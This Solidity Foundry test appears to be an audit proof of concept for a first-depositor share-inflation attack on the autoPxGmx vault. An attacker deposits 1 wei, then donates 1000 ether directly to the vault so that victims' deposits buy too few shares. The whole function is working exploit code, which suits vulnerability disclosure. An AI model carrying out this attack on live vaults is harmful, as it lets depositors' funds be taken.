function testEarlyVaultAttack() public {
address attacker = address(0x01);
address victim1 = address(0x02);
address victim2 = address(0x03);
deal(address(pxGmx), attacker, 100000 ether);
deal(address(pxGmx), victim1, 100000 ether);
deal(address(pxGmx), victim2, 100000 ether);
changePrank(attacker);
pxGmx.approve(address(autoPxGmx), type(uint).max);
changePrank(victim1);
pxGmx.approve(address(autoPxGmx), type(uint).max);
changePrank(victim2);
pxGmx.approve(address(autoPxGmx), type(uint).max);
// Attack start here
changePrank(attacker);
assert(autoPxGmx.totalSupply() == 0);
autoPxGmx.deposit(1 wei, attacker);
autoPxGmx.previewRedeem(1 wei); // attacker get 1 share of the vault (price per share is 1:1)
assert(autoPxGmx.balanceOf(attacker) == 1);
// Donate large amount directly to the vault
pxGmx.transfer(address(autoPxGmx), 1000 ether);
autoPxGmx.totalSupply();
// Victim cannot deposit less than 1000 ether + 1 wei
changePrank(victim1);
vm.expectRevert();
autoPxGmx.deposit(1000 ether, victim1);
autoPxGmx.balanceOf(victim1);
// Victim deposit
changePrank(victim2);
autoPxGmx.deposit(1000 ether + 1 wei + 1000 ether, victim2); // One share cost 1000 + 1 ether
console.log("balanceOf victim2 = ", autoPxGmx.balanceOf(victim2)); // Victim only get one share of the vault
console.log("totalSupply before attacker redeem = ", autoPxGmx.totalSupply());
console.log("balanceOf attacker = ", pxGmx.balanceOf(attacker));
changePrank(attacker);
autoPxGmx.redeem(1, attacker, attacker);
console.log("totalSupply after attacker redeem = ", autoPxGmx.totalSupply());
console.log("balanceOf attacker = ", pxGmx.balanceOf(attacker));
changePrank(victim2);
autoPxGmx.redeem(1, victim2, victim2);
console.log("totalSupply after victim2 redeem = ", autoPxGmx.totalSupply());
console.log("balanceOf victim2 = ", pxGmx.balanceOf(victim2));
}